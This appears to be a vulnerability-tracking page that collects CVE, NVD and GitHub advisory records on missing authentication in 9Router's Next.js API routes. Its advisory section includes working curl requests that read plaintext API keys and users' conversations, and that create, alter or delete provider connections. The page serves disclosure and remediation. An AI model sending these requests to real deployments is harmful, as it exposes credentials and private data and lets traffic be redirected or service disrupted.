9Router 0.4.41 - Unauthenticated API Exposure via /api/providers

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

9Router through version 0.4.41 contains an unauthenticated access vulnerability that allows remote attackers to interact with provider management API endpoints by sending requests without any credentials due to missing authentication middleware in the Next.js API routes under src/app/api/providers/*. Attackers can enumerate, create, modify, or delete provider connections to expose partial credentials, OAuth tokens, and API keys, redirect AI traffic to attacker-controlled servers, or cause complete denial of service by deleting all provider connections.

Source published

13 Jul 2026 21:30:07 UTC

Source modified

14 Jul 2026 13:00:25 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 4.0 · 9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVSS 3.1 · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9Router through version 0.4.41 contains an unauthenticated information disclosure vulnerability that allows remote attackers to retrieve plaintext API keys for all connected AI provider accounts by sending a single unauthenticated request to the /api/usage/stats endpoint. Attackers can exploit the missing authentication middleware on the Next.js API route to obtain full API key strings alongside token counts, cost breakdowns, and request metadata, enabling unauthorized use of connected AI provider accounts, billing fraud, and quota exhaustion.

Source published

13 Jul 2026 21:37:51 UTC

Source modified

14 Jul 2026 14:30:46 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

CVSS 3.1 · 9.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

9Router through version 0.4.41 contain an unauthenticated information disclosure vulnerability that allows remote attackers to access sensitive user data by sending requests to unprotected API endpoints. Attackers can enumerate paginated request logs and retrieve complete AI conversation histories including system prompts, user messages, assistant responses, tool calls, and user email addresses by querying the request-logs and request-details API routes which lack authentication middleware.

Source published

13 Jul 2026 21:37:52 UTC

Source modified

15 Jul 2026 18:10:21 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

9Router through version 0.4.41 contains an unauthenticated access vulnerability that allows remote attackers to interact with provider management API endpoints by sending requests without any credentials due to missing authentication middleware in the Next.js API routes under src/app/api/providers/*. Attackers can enumerate, create, modify, or delete provider connections to expose partial credentials, OAuth tokens, and API keys, redirect AI traffic to attacker-controlled servers, or cause complete denial of service by deleting all provider connections.

Source published

13 Jul 2026 22:16:48 UTC

Source modified

24 Oct 2026 22:10:00 UTC

Observed here

25 Oct 2026 14:19:22 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9Router through version 0.4.41 contains an unauthenticated information disclosure vulnerability that allows remote attackers to retrieve plaintext API keys for all connected AI provider accounts by sending a single unauthenticated request to the /api/usage/stats endpoint. Attackers can exploit the missing authentication middleware on the Next.js API route to obtain full API key strings alongside token counts, cost breakdowns, and request metadata, enabling unauthorized use of connected AI provider accounts, billing fraud, and quota exhaustion.

Source published

13 Jul 2026 22:16:52 UTC

Source modified

24 Oct 2026 22:10:00 UTC

Observed here

25 Oct 2026 14:19:28 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 9.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

9Router through version 0.4.41 contain an unauthenticated information disclosure vulnerability that allows remote attackers to access sensitive user data by sending requests to unprotected API endpoints. Attackers can enumerate paginated request logs and retrieve complete AI conversation histories including system prompts, user messages, assistant responses, tool calls, and user email addresses by querying the request-logs and request-details API routes which lack authentication middleware.

Source published

13 Jul 2026 22:16:52 UTC

Source modified

24 Oct 2026 22:10:00 UTC

Observed here

25 Oct 2026 14:19:28 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

--- title: Unauthenticated CRUD on /api/providers and Full API Key Leak via /api/usage/stats product: 9Router version: <= 0.4.41 severity: critical cve_request: true --- ## Summary Multiple critical API security vulnerabilities were discovered in 9Router's Next.js dashboard. The `/api/providers` endpoints lack authentication entirely, allowing anyone to create, read, update, and delete provider connections. Additionally, `/api/usage/stats` exposes full plaintext API keys, and `/api/usage/request-logs` + `/api/usage/request-details` expose all users' request history and full conversation contents (including system prompts, user messages, assistant responses) without authentication. ## Affected Endpoints | Endpoint | Method | Issue | |---|---|---| | `/api/providers` | GET | Lists all provider connections with partial credentials, OAuth tokens, account IDs | | `/api/providers/:id` | GET | Read any single provider detail (IDOR) | | `/api/providers` | POST | Create arbitrary provider connections with attacker-controlled API keys | | `/api/providers/:id` | PUT | Modify any existing provider connection | | `/api/providers/:id` | DELETE | Delete any provider connection | | `/api/usage/stats` | GET | Exposes full plaintext API keys, per-account usage breakdown, cost data | | `/api/usage/request-logs` | GET | Exposes all users' request logs (model, tokens, cost, timestamp, provider) | | `/api/usage/request-details/:id` | GET | Exposes full conversation turns including system prompts, user messages, assistant responses | | `/api/version` | GET | Exposes current version info | | `/api/models` | GET | Exposes full model routing catalog | | `/api/v1/models` | GET | Exposes model list | ## Impact ### Critical: Provider CRUD without authentication An attacker can: 1. **Add a malicious provider** — inject a provider that proxies through their server, capturing all prompts, responses, and API keys routed through 9Router 2. **Modify existing providers** — replace API keys with attacker-controlled ones, redirect traffic 3. **Delete all providers** — cause complete denial of service 4. **Read all provider configurations** — harvest partial credentials, GitHub Copilot OAuth tokens, Cloudflare account IDs, email addresses ### Critical: Full API key leak via /api/usage/stats The endpoint returns complete API key strings (e.g., `sk-...`) in plaintext alongside usage data per key, enabling unauthorized use of connected AI provider accounts. ### Critical: Conversation history leak `/api/usage/request-details` returns the full conversation history of other users' AI sessions, including system prompts, user messages, assistant responses, tool calls, and reasoning traces. ## Steps to Reproduce ### 1. Unauthenticated read of all providers ```bash curl -s https://<host>/api/providers ``` Returns all provider connections with email addresses, auth type, account IDs, and partial API key prefixes. ### 2. Create a provider without authentication ```bash curl -X POST https://<host>/api/providers \ -H "Content-Type: application/json" \ -d '{"provider":"openai","authType":"apikey","name":"rogue","apiKey":"sk-attacker-controlled"}' ``` Returns the created connection object with a new UUID and `isActive: true`. ### 3. Modify an existing provider without authentication ```bash curl -X PUT https://<host>/api/providers/<existing-uuid> \ -H "Content-Type: application/json" \ -d '{"name":"modified","apiKey":"sk-attacker-key"}' ``` Returns the updated connection object. ### 4. Delete a provider without authentication ```bash curl -X DELETE https://<host>/api/providers/<existing-uuid> ``` Returns `{"message":"Connection deleted successfully"}`. ### 5. Read full usage stats with API keys ```bash curl -s https://<host>/api/usage/stats ``` Returns full API key strings, per-account token/cost breakdown, recent requests. ### 6. Read request logs ```bash curl -s "https://<host>/api/usage/request-logs?page=1&pageSize=50" ``` Returns paginated request logs with timestamps, models, providers, user emails, token counts. ### 7. Read full conversation ```bash curl -s https://<host>/api/usage/request-details/<request-uuid> ``` Returns complete conversation turns for that request. ### 8. Read version info ```bash curl -s https://<host>/api/version ``` Returns `{"currentVersion":"0.4.19","latestVersion":"0.4.45","hasUpdate":true}`. ## Root Cause The Next.js API routes under `src/app/api/*` lack authentication middleware on several endpoints. Specifically: - `/api/providers/*` — No auth check before CRUD operations on provider connections stored in the database - `/api/usage/stats` — No auth check before returning aggregated usage data including full API keys - `/api/usage/request-logs` — No auth check before returning request history - `/api/usage/request-details/:id` — No auth check before returning full conversation contents ## Suggested Fix 1. Add authentication middleware to all `/api/providers/*` routes (GET, POST, PUT, DELETE) 2. Add authentication middleware to all `/api/usage/*` routes 3. Never return full API key strings in any API response — return masked keys only 4. Never return GitHub Copilot tokens or similar OAuth secrets in API responses 5. Implement proper authorization checks so users can only access their own data 6. Add rate limiting to public endpoints ## Resources - https://github.com/decolua/9router

Source published

6 Jul 2026 21:22:10 UTC

Source modified

15 Jul 2026 02:26:45 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Publisher rating · CRITICAL